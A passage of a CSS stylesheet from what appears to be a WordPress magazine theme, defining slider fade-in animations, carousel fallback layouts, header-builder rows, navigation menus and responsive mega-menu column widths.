.featured-area .active .pencislider-container.penci-fadeInDown .pencislider-title {
	-webkit-animation-name: pencifadeInDown;
	-moz-animation-name: pencifadeInDown;
	-o-animation-name: pencifadeInDown;
	animation-name: pencifadeInDown
}
@-webkit-keyframes pencifadeInUp {
	0% {
		opacity: 0;
		-webkit-transform: translate3d(0, 40px, 0);
		transform: translate3d(0, 40px, 0)
	}
	100% {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
@keyframes pencifadeInUp {
	0% {
		opacity: 0;
		-webkit-transform: translate3d(0, 40px, 0);
		transform: translate3d(0, 40px, 0)
	}
	100% {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
@-webkit-keyframes pencifadeInUpSmall {
	0% {
		opacity: 0;
		-webkit-transform: translate3d(0, 20px, 0);
		transform: translate3d(0, 20px, 0)
	}
	100% {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
@keyframes pencifadeInUpSmall {
	0% {
		opacity: 0;
		-webkit-transform: translate3d(0, 20px, 0);
		transform: translate3d(0, 20px, 0)
	}
	100% {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
.featured-area .active .pencislider-container.penci-fadeInUp .pencislider-caption,
.featured-area .active .pencislider-container.penci-fadeInUp .pencislider-content .penci-button,
.featured-area .active .pencislider-container.penci-fadeInUp .pencislider-title {
	-webkit-animation-name: pencifadeInUp;
	-moz-animation-name: pencifadeInUp;
	-o-animation-name: pencifadeInUp;
	animation-name: pencifadeInUp
}
@-webkit-keyframes pencifadeInLeft {
	0% {
		opacity: 0;
		-webkit-transform: translate3d(-50px, 0, 0);
		transform: translate3d(-50px, 0, 0)
	}
	100% {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
@keyframes pencifadeInLeft {
	0% {
		opacity: 0;
		-webkit-transform: translate3d(-50px, 0, 0);
		transform: translate3d(-50px, 0, 0)
	}
	100% {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
.featured-area .active .pencislider-container.penci-fadeInLeft .pencislider-caption,
.featured-area .active .pencislider-container.penci-fadeInLeft .pencislider-content .penci-button,
.featured-area .active .pencislider-container.penci-fadeInLeft .pencislider-title {
	-webkit-animation-name: pencifadeInLeft;
	-moz-animation-name: pencifadeInLeft;
	-o-animation-name: pencifadeInLeft;
	animation-name: pencifadeInLeft
}
@-webkit-keyframes pencifadeInRight {
	0% {
		opacity: 0;
		-webkit-transform: translate3d(50px, 0, 0);
		transform: translate3d(50px, 0, 0)
	}
	100% {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
@keyframes pencifadeInRight {
	0% {
		opacity: 0;
		-webkit-transform: translate3d(50px, 0, 0);
		transform: translate3d(50px, 0, 0)
	}
	100% {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
.featured-area .active .pencislider-container.penci-fadeInRight .pencislider-caption,
.featured-area .active .pencislider-container.penci-fadeInRight .pencislider-content .penci-button,
.featured-area .active .pencislider-container.penci-fadeInRight .pencislider-title {
	-webkit-animation-name: pencifadeInRight;
	-moz-animation-name: pencifadeInRight;
	-o-animation-name: pencifadeInRight;
	animation-name: pencifadeInRight
}
.penci-flat-overlay .penci-slide-overlay .overlay-link {
	background: 0 0 !important;
	opacity: 0 !important
}
.penci-flat-overlay .penci-slide-overlay .penci-mag-featured-content {
	bottom: 0;
	left: 0;
	right: 0;
	padding: 17px 20px;
	width: 100%
}
.penci-flat-overlay .penci-slide-overlay .penci-mag-featured-content:before {
	position: absolute;
	left: 0;
	right: 0;
	bottom: 0;
	top: 0;
	background: #000;
	opacity: .5;
	content: "";
	z-index: 1;
	-webkit-transition: opacity .4s ease 0s;
	-moz-transition: opacity .4s ease 0s;
	-o-transition: opacity .4s ease 0s;
	transition: opacity .4s ease 0s
}
.penci-flat-overlay .penci-item-mag:hover .penci-slide-overlay .penci-mag-featured-content:before {
	opacity: .7
}
.penci-flat-overlay .feat-text,
.penci-flat-overlay .penci-mag-featured-content .cat {
	position: relative;
	z-index: 5
}
.featured-style-22.penci-flat-overlay .penci-item-0 .penci-slide-overlay .penci-mag-featured-content,
.featured-style-22.penci-flat-overlay .penci-item-3 .penci-slide-overlay .penci-mag-featured-content,
.featured-style-22.penci-flat-overlay .penci-item-4 .penci-slide-overlay .penci-mag-featured-content,
.featured-style-22.penci-flat-overlay .penci-item-5 .penci-slide-overlay .penci-mag-featured-content,
.featured-style-22.penci-flat-overlay .penci-item-6 .penci-slide-overlay .penci-mag-featured-content,
.featured-style-23.penci-flat-overlay .penci-item-0 .penci-slide-overlay .penci-mag-featured-content,
.featured-style-23.penci-flat-overlay .penci-item-3 .penci-slide-overlay .penci-mag-featured-content,
.featured-style-23.penci-flat-overlay .penci-item-4 .penci-slide-overlay .penci-mag-featured-content,
.featured-style-23.penci-flat-overlay .penci-item-5 .penci-slide-overlay .penci-mag-featured-content {
	bottom: 0;
	padding: 10px 5px
}
.featured-style-28.penci-flat-overlay .penci-slide-overlay .penci-mag-featured-content {
	padding: 12px 15px
}
.featured-style-28.penci-flat-overlay .penci-item-1 .penci-slide-overlay .penci-mag-featured-content {
	padding: 17px 20px
}
.penci-owl-carousel:not(.penci-owl-loaded) {
	display: block
}
.penci-owl-carousel:not(.penci-owl-loaded) .penci-featured-content-right,
.penci-owl-carousel:not(.penci-owl-loaded)>.swiper-wrapper>div,
.penci-owl-carousel:not(.penci-owl-loaded)>.swiper-wrapper>figure,
.penci-owl-carousel:not(.penci-owl-loaded)>.swiper-wrapper>img,
.penci-owl-carousel:not(.penci-owl-loaded)>div {
	display: none
}
.penci-owl-carousel:not(.penci-owl-loaded)>.swiper-wrapper,
.penci-owl-carousel:not(.penci-owl-loaded)>.swiper-wrapper>div:first-child,
.penci-owl-carousel:not(.penci-owl-loaded)>.swiper-wrapper>figure:first-child,
.penci-owl-carousel:not(.penci-owl-loaded)>.swiper-wrapper>img:first-child {
	display: block
}
.penci-owl-carousel:not(.penci-owl-loaded)>.swiper-wrapper {
	overflow: hidden
}
.featured-style-2 .penci-owl-carousel:not(.penci-owl-loaded) .swiper-wrapper>.item {
	width: 900px;
	margin-left: auto;
	margin-right: auto
}
.featured-style-38 .penci-owl-carousel:not(.penci-owl-loaded) .swiper-wrapper>.item {
	width: 450px;
	width: 25vw;
	margin-left: auto;
	margin-right: auto;
	position: relative
}
@media only screen and (max-width:1200px) {
	.featured-style-38 .penci-owl-carousel:not(.penci-owl-loaded) .swiper-wrapper>.item {
		width: 400px
	}
}
@media only screen and (max-width:960px) {
	.featured-style-2 .penci-owl-carousel:not(.penci-owl-loaded) .swiper-wrapper>.item {
		width: 760px
	}
}
@media only screen and (max-width:767px) {
	.featured-style-2 .penci-owl-carousel:not(.penci-owl-loaded) .swiper-wrapper>.item {
		width: 480px
	}
}
@media only screen and (max-width:479px) {
	.featured-style-2 .penci-owl-carousel:not(.penci-owl-loaded) .swiper-wrapper>.item,
	.featured-style-38 .penci-owl-carousel:not(.penci-owl-loaded) .swiper-wrapper>.item {
		width: 360px
	}
}
.penci-owl-carousel:not(.penci-owl-loaded) .penci-featured-content {
	display: none
}
.penci-owl-carousel:not(.penci-owl-loaded):after,
.penci-owl-carousel:not(.penci-owl-loaded):before {
	content: "";
	clear: both;
	display: table
}
.penci-owl-carousel.penci-headline-posts:not(.penci-owl-loaded):after,
.penci-owl-carousel.penci-headline-posts:not(.penci-owl-loaded):before {
	content: none;
	clear: none;
	display: none
}
@media only screen and (min-width:1170px) {
	.penci-owl-carousel:not(.penci-owl-loaded)[data-item="6"] .swiper-wrapper>div {
		width: 16.666666%;
		float: left
	}
	.penci-owl-carousel:not(.penci-owl-loaded)[data-item="5"] .swiper-wrapper>div {
		width: 20%;
		float: left
	}
	.penci-owl-carousel:not(.penci-owl-loaded)[data-item="4"] .swiper-wrapper>div {
		width: 25%;
		float: left
	}
	.penci-owl-carousel:not(.penci-owl-loaded)[data-item="3"] .swiper-wrapper>div {
		width: 33.3333%;
		float: left
	}
	.penci-owl-carousel:not(.penci-owl-loaded)[data-item="2"] .swiper-wrapper>div {
		width: 50%;
		float: left
	}
	.penci-owl-carousel:not(.penci-owl-loaded)[data-item="2"] .swiper-wrapper>div:nth-child(2),
	.penci-owl-carousel:not(.penci-owl-loaded)[data-item="3"] .swiper-wrapper>div:nth-child(2),
	.penci-owl-carousel:not(.penci-owl-loaded)[data-item="3"] .swiper-wrapper>div:nth-child(3),
	.penci-owl-carousel:not(.penci-owl-loaded)[data-item="4"] .swiper-wrapper>div:nth-child(2),
	.penci-owl-carousel:not(.penci-owl-loaded)[data-item="4"] .swiper-wrapper>div:nth-child(3),
	.penci-owl-carousel:not(.penci-owl-loaded)[data-item="4"] .swiper-wrapper>div:nth-child(4),
	.penci-owl-carousel:not(.penci-owl-loaded)[data-item="5"] .swiper-wrapper>div:nth-child(2),
	.penci-owl-carousel:not(.penci-owl-loaded)[data-item="5"] .swiper-wrapper>div:nth-child(3),
	.penci-owl-carousel:not(.penci-owl-loaded)[data-item="5"] .swiper-wrapper>div:nth-child(4),
	.penci-owl-carousel:not(.penci-owl-loaded)[data-item="5"] .swiper-wrapper>div:nth-child(5),
	.penci-owl-carousel:not(.penci-owl-loaded)[data-item="6"] .swiper-wrapper>div:nth-child(2),
	.penci-owl-carousel:not(.penci-owl-loaded)[data-item="6"] .swiper-wrapper>div:nth-child(3),
	.penci-owl-carousel:not(.penci-owl-loaded)[data-item="6"] .swiper-wrapper>div:nth-child(4),
	.penci-owl-carousel:not(.penci-owl-loaded)[data-item="6"] .swiper-wrapper>div:nth-child(5),
	.penci-owl-carousel:not(.penci-owl-loaded)[data-item="6"] .swiper-wrapper>div:nth-child(6) {
		display: block
	}
}
@media only screen and (max-width:1169px) and (min-width:768px) {
	.penci-owl-carousel:not(.penci-owl-loaded)[data-tablet="4"] .swiper-wrapper>div {
		width: 25%;
		float: left
	}
	.penci-owl-carousel:not(.penci-owl-loaded)[data-tablet="4"] .swiper-wrapper>div:nth-child(2),
	.penci-owl-carousel:not(.penci-owl-loaded)[data-tablet="4"] .swiper-wrapper>div:nth-child(3),
	.penci-owl-carousel:not(.penci-owl-loaded)[data-tablet="4"] .swiper-wrapper>div:nth-child(4) {
		display: block
	}
	.penci-owl-carousel:not(.penci-owl-loaded)[data-tablet="3"] .swiper-wrapper>div {
		width: 33.3333%;
		float: left
	}
	.penci-owl-carousel:not(.penci-owl-loaded)[data-tablet="3"] .swiper-wrapper>div:nth-child(2),
	.penci-owl-carousel:not(.penci-owl-loaded)[data-tablet="3"] .swiper-wrapper>div:nth-child(3) {
		display: block
	}
	.penci-owl-carousel:not(.penci-owl-loaded)[data-tablet="2"] .swiper-wrapper>div {
		width: 50%;
		float: left
	}
	.penci-owl-carousel:not(.penci-owl-loaded)[data-tablet="2"] .swiper-wrapper>div:nth-child(2) {
		display: block
	}
}
@media only screen and (max-width:767px) and (min-width:481px) {
	.penci-owl-carousel:not(.penci-owl-loaded)[data-tabsmall="4"] .swiper-wrapper>div {
		width: 25%;
		float: left
	}
	.penci-owl-carousel:not(.penci-owl-loaded)[data-tabsmall="4"] .swiper-wrapper>div:nth-child(2),
	.penci-owl-carousel:not(.penci-owl-loaded)[data-tabsmall="4"] .swiper-wrapper>div:nth-child(3),
	.penci-owl-carousel:not(.penci-owl-loaded)[data-tabsmall="4"] .swiper-wrapper>div:nth-child(4) {
		display: block
	}
	.penci-owl-carousel:not(.penci-owl-loaded)[data-tabsmall="3"] .swiper-wrapper>div {
		width: 33.3333%;
		float: left
	}
	.penci-owl-carousel:not(.penci-owl-loaded)[data-tabsmall="3"] .swiper-wrapper>div:nth-child(2),
	.penci-owl-carousel:not(.penci-owl-loaded)[data-tabsmall="3"] .swiper-wrapper>div:nth-child(3) {
		display: block
	}
	.penci-owl-carousel:not(.penci-owl-loaded)[data-tabsmall="2"] .swiper-wrapper>div {
		width: 50%;
		float: left
	}
	.penci-owl-carousel:not(.penci-owl-loaded)[data-tabsmall="2"] .swiper-wrapper>div:nth-child(2) {
		display: block
	}
}
.pc-wrapbuilder-header {
	--pchb-socialw: 28px;
	--pchb-m-socialw: 28px
}
.pc-wrapbuilder-header .container {
	max-width: 100%;
}
.pc-wrapbuilder-header .container.container-1400 {
	max-width: var(--pcctain2);
}
.penci_nav_row {
	position: relative;
	display: -webkit-flex;
	display: -ms-flexbox;
	display: flex;
	-webkit-flex-flow: row nowrap;
	flex-flow: row nowrap;
	-webkit-align-items: center;
	-ms-flex-align: center;
	align-items: center;
	-webkit-justify-content: space-between;
	-ms-flex-pack: justify;
	justify-content: space-between;
	height: 100%;
	margin-left: -10px;
	margin-right: -10px
}
.pchb-boxed-layout .penci_nav_row {
	margin-left: 10px;
	margin-right: 10px
}
.penci_nav_normal {
	flex: 0 0 auto
}
.pcmiddle-center .penci_nav_center,
.pcmiddle-center .penci_nav_left,
.pcmiddle-center .penci_nav_right {
	display: flex;
	flex-direction: row;
	align-items: center
}
.pcmiddle-center .penci_nav_left,
.pcmiddle-center .penci_nav_right {
	flex: 1 1 0
}
.pcmiddle-center .penci_nav_left,
.pcmiddle-normal .penci_nav_alignleft {
	justify-content: flex-start
}
.pcmiddle-center .penci_nav_right,
.pcmiddle-normal .penci_nav_alignright {
	justify-content: flex-end
}
.pcmiddle-center .penci_nav_aligncenter,
.pcmiddle-normal .penci_nav_aligncenter {
	justify-content: center
}
.pcmiddle-normal .penci_nav_center {
	flex: 1 1 0
}
.pc-builder-menu .navigation {
	background-color: transparent;
	border: 0;
	height: auto
}
.penci-desktop-bottombar,
.penci-desktop-midbar,
.penci-desktop-sticky-bottom,
.penci-desktop-sticky-mid,
.penci-desktop-sticky-top,
.penci-desktop-topbar,
.penci-mobile-bottombar,
.penci-mobile-midbar,
.penci-mobile-topbar {
	padding-top: 10px;
	padding-bottom: 10px;
	background-size: cover;
	background-repeat: no-repeat;
	background-attachment: scroll
}
.penci-desktop-bottombar.pc-noel,
.penci-desktop-midbar.pc-noel,
.penci-desktop-sticky-bottom.pc-noel,
.penci-desktop-sticky-mid.pc-noel,
.penci-desktop-sticky-top.pc-noel,
.penci-desktop-topbar.pc-noel,
.penci-mobile-bottombar.pc-noel,
.penci-mobile-midbar.pc-noel,
.penci-mobile-topbar.pc-noel {
	padding-top: 0;
	padding-bottom: 0
}
.penci-desktop-bottombar,
.penci-desktop-bottomblock,
.penci-desktop-midbar,
.penci-desktop-topbar,
.penci-desktop-topblock {
	background-color: #fff
}
.penci-header-trans .penci-desktop-bottombar,
.penci-header-trans .penci-desktop-bottomblock,
.penci-header-trans .penci-desktop-midbar,
.penci-header-trans .penci-desktop-topbar,
.penci-header-trans .penci-desktop-topblock {
	background-color: transparent
}
.penci_header_overlap .penci-desktop-bottombar,
.penci_header_overlap .penci-desktop-bottomblock,
.penci_header_overlap .penci-desktop-midbar,
.penci_header_overlap .penci-desktop-topbar,
.penci_header_overlap .penci-desktop-topblock {
	background-color: transparent
}
.penci-desktop-bottombar.bg-transparent,
.penci-desktop-bottomblock.bg-transparent,
.penci-desktop-midbar.bg-transparent,
.penci-desktop-topbar.bg-transparent,
.penci-desktop-topblock.bg-transparent {
	background-color: transparent !important
}
.pc-wrapbuilder-header {
	margin-bottom: var(--pchd-mg)
}
.elementor-template-full-width .pc-wrapbuilder-header,
.page-template-page-fullwidth .pc-wrapbuilder-header {
	margin-bottom: 0
}
.pc-wrapbuilder-header .header-social .inner-header-social {
	display: flex;
	position: relative
}
.pc-wrapbuilder-header #penci_off_canvas .header-social .inner-header-social {
	display: inline-block
}
@media only screen and (max-width:479px) {
	#penci_off_canvas .penci-builder-element.header-social a {
		margin-bottom: 10px
	}
}
.pc-wrapbuilder-header .header-social.mobile-social .inner-header-social {
	justify-content: center
}
.single.penci-body-single-style-10 #header,
.single.penci-body-single-style-10 .pc-wrapbuilder-header,
.single.penci-body-single-style-5 #header,
.single.penci-body-single-style-5 .pc-wrapbuilder-header,
.single.penci-body-single-style-6 #header,
.single.penci-body-single-style-6 .pc-wrapbuilder-header {
	--pchd-mg: 40px
}
.navigation {
	background: #fff;
	height: 60px;
	z-index: 9999;
	width: 100%;
	-webkit-backface-visibility: hidden;
	border-bottom: 1px solid #ececec;
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s
}
.navigation.pc-elehd-menu,
.navigation.mobile-menu {
	background-color: transparent;
	height: unset
}
.navigation.pc-elehd-menu {
	border: 0;
	display: flex;
}
.post-entry .navigation.pc-elehd-menu > ul {
	padding: 0;
	list-style: none;
}
.post-entry .navigation.pc-elehd-menu > ul li {
	list-style: none;
}
.navigation.pchdvertical-enabled .menu .sub-menu {
	top: 0;
	left: 100%;
}
.navigation.pchdvertical-enabled ul.menu > li.menu-item-has-children > a:after {
	content: '\f105';
}
.navigation.pchdvertical-enabled ul.menu > li {
	float: none; 
	display: block;
}
.wrapper-boxed.enable-boxed .navigation {
	transition: height .3s, box-shadow .3s;
	-webkit-transition: height .3s, box-shadow .3s;
	-moz-transition: height .3s, box-shadow .3s
}
.navigation.sticky-active {
	z-index: 99999
}
.navigation.header-layout-bottom {
	box-shadow: 0 0 0 transparent;
	-webkit-box-shadow: 0 0 0 transparent;
	-moz-box-shadow: 0 0 0 transparent;
	border-top: 1px solid #ececec
}
.is-sticky .navigation {
	box-shadow: 0 1px 5px rgba(190, 190, 190, .46);
	-webkit-box-shadow: 0 1px 5px rgba(190, 190, 190, .46);
	-moz-box-shadow: 0 1px 5px rgba(190, 190, 190, .46);
	border-color: transparent !important
}
.wrapper-boxed.enable-boxed .is-sticky .navigation {
	margin: 0 auto;
	left: 0;
	right: 0;
	width: 100%;
	max-width: calc(var(--pcctain) + 60px)
}
.penci-body-boxed.penci-two-sidebar .wrapper-boxed.enable-boxed .is-sticky .navigation {
	max-width: calc(var(--pcctain2) + 30px)
}
.slicknav_menu {
	display: none
}
.navigation .container {
	position: relative;
	display: table;
	text-align: center
}
.navigation .container .inner-top-navigation {
	display: inline-block;
	vertical-align: top
}
.navigation .menu {
	float: left
}
.navigation .menu>ul>li,
.navigation ul.menu>li {
	display: inline-block;
	position: relative;
	float: left;
	margin-right: 30px
}
.navigation .menu>li:last-child,
.navigation .menu>ul>li:last-child {
	margin-right: 0
}
.navigation .menu>li>a,
.navigation .sub-menu>li>a {
	font-family: var(--pchead-font);
	font-size: 12px;
	color: #313131;
	text-transform: uppercase;
	display: inline-block;
	-o-transition: .3s;
	-moz-transition: .3s;
	-webkit-transition: .3s;
	position: relative;
	font-weight: var(--pchead-wei);
	text-decoration: none
}
.navigation .menu>li>a {
	line-height: 58px
}
.navigation .menu>li>a>i,
.navigation .sub-menu li>a>i {
	font-size: 13px;
	margin-right: 5px
}
.navigation .menu>ul.sub-menu>li>a:before,
.navigation ul.menu>li>a:before {
	content: "";
	position: absolute;
	bottom: calc(50% - 12px);
	transition: all .2s;
	-webkit-transition: all .2s;
	-moz-transition: all .2s;
	left: 50%;
	height: 2px;
	width: 0;
	background: var(--pcaccent-cl)
}
.navigation .menu>ul>li:hover>a:before,
.navigation .menu>ul>li>a:hover:before,
.navigation ul.menu>li:hover>a:before,
.navigation ul.menu>li>a:hover:before {
	left: 0;
	width: 100%
}
.navigation .menu li.current-menu-item>a,
.navigation .menu li:hover>a,
.navigation .menu li>a:hover,
.navigation .menu>li.current-menu-ancestor>a,
.navigation .menu>li.current-menu-item>a,
.navigation .menu>li.current_page_item>a {
	color: var(--pcaccent-cl)
}
.navigation .menu>ul>li>a>img,
.navigation ul.menu>li>a>img {
	vertical-align: middle
}
.navigation .button-menu-mobile {
	display: none;
	float: left;
	text-align: center;
	color: #313131;
	font-size: 21px;
	cursor: pointer;
	transition: color .3s;
	-webkit-transition: color .3s;
	-moz-transition: color .3s
}
@media only screen and (max-width:960px) {
	.penci-hlogo-center .penci-mobile-hlogo {
		float: none;
		margin: 0;
		position: absolute;
		left: 50%;
		top: 0;
		transform: translateX(-50%);
		-webkit-transform: translateX(-50%);
		z-index: 10
	}
	.penci-mobile-hlogo {
		display: inline-block
	}
}
.pb-logo-sidebar-mobile {
	text-align: center
}
.navigation .menu .children,
.navigation .menu .sub-menu {
	visibility: hidden;
	opacity: 0;
	position: absolute;
	left: 0;
	z-index: 9999;
	box-shadow: 0 3px 3px rgba(190, 190, 190, .6);
	-webkit-box-shadow: 0 3px 3px rgba(190, 190, 190, .6);
	-moz-box-shadow: 0 3px 3px rgba(190, 190, 190, .6);
	border-top: 1px solid #ececec;
	margin-top: 0;
	background: #fff
}
body.penci-hsubmenu-overlay .navigation .menu .children,
body.penci-hsubmenu-overlay .navigation .menu .sub-menu {
	box-shadow: 0 3px 3px rgba(34, 33, 33, 0.6);
	-webkit-box-shadow: 0 3px 3px rgba(34, 33, 33, 0.6);
	-moz-box-shadow: 0 3px 3px rgba(34, 33, 33, 0.6);
}
.navigation ul.menu ul.sub-menu li a {
	margin: 0 20px;
	padding: 12px 0;
	font-size: 12px;
	min-width: 200px;
	line-height: 1.4;
	-moz-transition: color .3s, background-color .3s;
	-webkit-transition: color .3s, background-color .3s;
	transition: color .3s, background-color .3s;
	border-bottom: 1px solid #e0e0e0;
	text-align: left;
	border-left: none !important;
	position: relative;
	overflow: hidden;
	vertical-align: top
}
.navigation ul.menu ul ul.sub-menu li,
.navigation ul.menu ul.sub-menu li {
	padding-right: 0;
	margin-right: 0;
	float: none;
	position: relative;
	width: 100%
}
.navigation .menu ul.sub-menu>li:last-child>a {
	border-bottom: none
}
.navigation .menu .children ul,
.navigation .menu .sub-menu ul {
	left: 100%;
	top: 0
}
.navigation .menu li.penci-mega-menu {
	position: static !important
}
#navigation .menu li.penci-block-mega.penci-megapos-center,
#navigation .menu li.penci-block-mega.penci-megapos-flexible,
.navigation .menu li.penci-block-mega.penci-megapos-center,
.navigation .menu li.penci-block-mega.penci-megapos-flexible {
	position: relative !important
}
li.penci-mega-menu>ul.sub-menu {
	display: none
}
#sidebar-nav li.penci-mega-menu .penci-content-megamenu,
.penci-menu-hbg li.penci-mega-menu .penci-content-megamenu {
	display: none !important
}
.navigation .menu li.penci-mega-menu>ul.sub-menu {
	width: 100%;
	padding: 0 !important;
	clear: both;
	display: block
}
.navigation .menu li.penci-block-mega.penci-mg-fullwidth {
	position: static !important;
	--pcctnspc: 0;
}
.navigation .menu li.penci-block-mega.penci-mg-fullwidth>.penci-dropdown-menu {
	width: 100vw !important;
	left: calc((100vw - var(--pcctain))/ 2 * -1 + 10px - var(--pcctnspc)) !important
}
.navigation .menu li.penci-block-mega.penci-mg-fullwidth>.penci-dropdown-menu>.container {
	width: 100%
}
.navigation .penci-megamenu {
	width: 100%;
	display: table
}
.navigation .penci-megamenu .penci-mega-child-categories {
	width: 230px;
	display: table-cell;
	vertical-align: top;
	background: #fff;
	padding: 20px 0;
	position: relative
}
.navigation .penci-megamenu .penci-mega-child-categories.pcmit-bottom {
	display: table-footer-group;
	width: 100%;
	text-align: center
}
.navigation .penci-megamenu .penci-mega-child-categories.pcmit-top {
	display: table-row;
	width: 100%;
	text-align: center
}
.navigation .penci-megamenu .penci-mega-child-categories:after {
	content: "";
	width: 1px;
	height: 100%;
	position: absolute;
	top: 0;
	right: 0;
	background-color: #ececec
}
.navigation ul.sub-menu .penci-megamenu .penci-mega-child-categories a {
	min-width: 0;
	display: block;
	font-size: 12px;
	text-align: right;
	line-height: 1.4em;
	margin: 0;
	padding: 12px 20px;
	border-top: 1px solid transparent;
	border-bottom: 1px solid transparent;
	position: relative
}
.navigation ul.sub-menu .penci-megamenu .penci-mega-child-categories.pcmit-bottom a,
.navigation ul.sub-menu .penci-megamenu .penci-mega-child-categories.pcmit-top a {
	display: inline-block
}
.navigation ul.sub-menu .penci-megamenu .penci-mega-child-categories a.cat-active {
	border-top-color: #ececec;
	border-bottom-color: #ececec;
	background: #fff;
	color: var(--pcaccent-cl);
	z-index: 10;
	position: relative
}
#navigation ul.sub-menu .penci-megamenu .penci-mega-child-categories.pcmit-bottom a.cat-active,
.navigation ul.sub-menu .penci-megamenu .penci-mega-child-categories.pcmit-bottom a.cat-active {
	border-bottom-color: transparent
}
#navigation ul.sub-menu .penci-megamenu .penci-mega-child-categories.pcmit-top a.cat-active,
.navigation ul.sub-menu .penci-megamenu .penci-mega-child-categories.pcmit-top a.cat-active {
	border-top-color: transparent
}
.navigation .penci-megamenu .penci-mega-child-categories a.cat-active:before {
	content: "";
	width: 1px;
	height: 100%;
	position: absolute;
	top: 0;
	right: 0;
	background: #fff;
	z-index: 1;
	transition: none;
	-webkit-transition: none;
	-moz-transition: none
}
.navigation .penci-megamenu .penci-content-megamenu {
	display: table-cell
}
.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts {
	padding: 20px 10px 0 10px
}
.navigation .penci-megamenu .penci-content-megamenu .penci-mega-row {
	width: 100%;
	display: none;
	vertical-align: top
}
.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post {
	width: 20%;
	padding: 0 10px;
	float: left;
	margin-bottom: 15px;
	position: relative
}
.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-4 .penci-mega-post {
	width: 25%
}
.navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(4n+1),
.navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-5 .penci-mega-post:nth-child(5n+1) {
	clear: both
}
.navigation .penci-megamenu .pcmit-side+.penci-content-megamenu .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(4n+1),
.navigation .penci-megamenu .pcmit-side+.penci-content-megamenu .penci-mega-latest-posts.col-mn-5 .penci-mega-post:nth-child(5n+1) {
	clear: both /* fix issue */
}
.penci-megamenu .penci-image-holder:before {
	padding-top: 66.6667%
}
@media only screen and (min-width:1800px) {
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7 .penci-mega-post {
		width: 14.2857%
	}
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6 .penci-mega-post {
		width: 16.66666%
	}
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(6n+1),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7 .penci-mega-post:nth-child(7n+1) {
		clear: both
	}
}
@media only screen and (max-width:1799px) and (min-width:1500px) {
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7 .penci-mega-post {
		width: 16.66666%
	}
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6 .penci-mega-post {
		width: 20%
	}
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(5n+1),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7 .penci-mega-post:nth-child(6n+1) {
		clear: both
	}
	.navigation .penci-megamenu .penci-content-megamenu.pcmis-5 .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(5n+1) {
		clear: none
	}
}
@media only screen and (max-width:1799px) {
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-1 .penci-mega-post:nth-child(6),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-2 .penci-mega-post:nth-child(11),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-2 .penci-mega-post:nth-child(12),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(16),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(17),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(18),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-1 .penci-mega-post:nth-child(7),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-2 .penci-mega-post:nth-child(13),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-2 .penci-mega-post:nth-child(14),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(19),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(20),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(21) {
		display: none
	}
}
@media only screen and (max-width:1499px) and (min-width:1170px) {
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7 .penci-mega-post {
		width: 20%
	}
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6 .penci-mega-post {
		width: 25%
	}
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(4n+1),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7 .penci-mega-post:nth-child(5n+1) {
		clear: both
	}
}
@media only screen and (max-width:1499px) {
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-1 .penci-mega-post:nth-child(5),
	.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-2 .penci-mega-post:nth-child(10),
